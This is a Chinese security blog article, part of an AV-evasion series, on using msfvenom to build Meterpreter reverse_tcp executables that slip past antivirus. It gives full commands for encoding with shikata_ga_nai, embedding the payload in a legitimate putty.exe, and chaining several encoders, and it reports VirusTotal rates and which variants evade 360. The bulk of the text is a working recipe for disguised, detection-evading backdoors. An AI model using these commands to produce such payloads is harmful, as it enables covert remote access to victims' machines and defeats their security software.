1、远控免杀专题文章(1)-基础篇:https://www.secpulse.com/archives/123295.html
2、远控免杀专题文章(2)-msfvenom隐藏的参数:https://www.secpulse.com/archives/123300.html
几点说明:
1、上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp
模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160
(2019.12.12),火绒版本5.0.33.13
(2019.12.12),360安全卫士12.0.0.2001
(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com
(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
本节主要是对msf自身提供的免杀机制(编码+捆绑)进行尝试,由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果。
在做免杀之前,我们先生成一个原始payload作为原始参数对比,这里我们就选使用频率最高的windows/meterperter/reverse_tcp
,这也是被各大杀软盯的最紧的一个。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe
基本不用怀疑,本地的360全家桶和火绒都能查杀。
在virustotal.com
上查杀率为53/69
最原始的payload居然还有16个查杀不出来的,看看都有哪些(额。。。6个国内的。。。马云爸爸也出杀软了??)笔误,panda不是国内的。。
使用msfvenom --list encoders
可查看所有编码器
评级最高的两个encoder为cmd/powershell_base64
和x86/shikata_ga_nai
,其中x86/shikata_ga_nai
也是免杀中使用频率最高的一个编码器了。
使用x86/shikata_ga_nai
生成payload,参数-i
为编码次数,我这里设置15次,并使用了-b
参数去掉payload中的空字符。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "x00" -i 15 -f exe -o payload2.exe
测试机器运行,本地的360全家桶和火绒都能查杀。
在virustotal.com
上查杀率为51/69
由于shikata_ga_nai
编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强。
在生成payload时可以使用捆绑功能,使用msfvenom的-x
参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x
后面跟对应文件路径就可以。
我这里使用一个正规的putty.exe
作为被捆绑测试软件。
生成payload命令如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -x putty.exe -f exe -o payload3.exe
生成的两个文件对比,大小完全一样。
测试机器运行,本地的360全家桶和火绒都能查杀该payload。
在virustotal.com
上查杀率为39/69
另外,能否免杀也和你选的被捆绑exe有一定关系,可以选微软的一些工具作为模板exe程序。
将上面的编码和捆绑两种方法结合一下进行尝试
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe
测试机器执行,发现火绒动态静态均能查杀,而360不会报病毒。
在关闭火绒后,开启360安全卫士和杀毒的情况下,可上线,可免杀。
可修改-i编码次数,编码次数越多,生成的payload越可能免杀,经测试,编码5次和6次可免杀360。
在virustotal.com
上查杀率为35/69
看来稍微组合一下是能过更多的杀软的。后面会介绍更多的免杀方法,自己可以尝试多种免杀进行组合,垒积木一样的感觉...
msfvenom的encoder编码器可以对payload进行一定程度免杀,同时还可以使用msfvenom多重编码功能,通过管道,让msfvenom用不同编码器反复编码进行混淆。
如下命令,使用管道让msfvenom
对攻击载荷多重编码,先用shikata_ga_nai
编码20次,接着来10次的alpha_upper
编码,再来10次的countdown
编码,最后才生成以putty.exe
为模板的可执行文件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe
还有这种更多重编码姿势
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe
在virustotal.com
上查杀率为45/70,编码多了,免杀率居然降低了。。。尴尬。。。
经过测试,发现使用的编码类型越多,免杀率可能会降低,猜测是因为各种编码引入了更多的特征码。同时生成的payload也很可能无法正常执行,这个也和被捆绑程序有一定关联。
使用msf编码器避开杀毒软件的检测:https://www.freebuf.com/column/216599.html
msf多重编码:https://blog.csdn.net/wyf12138/article/details/79825833
Msfvenom学习总结:http://www.secist.com/archives/3353.html
msfvenom生成后门的免杀测试:
http://www.naivete.online/msfvenom%E7%94%9F%E6%88%90%E5%90%8E%E9%97%A8%E7%9A%84%E5%85%8D%E6%9D%80%E6%B5%8B%E8%AF%95/
本文作者:Ms08067安全实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/123315.html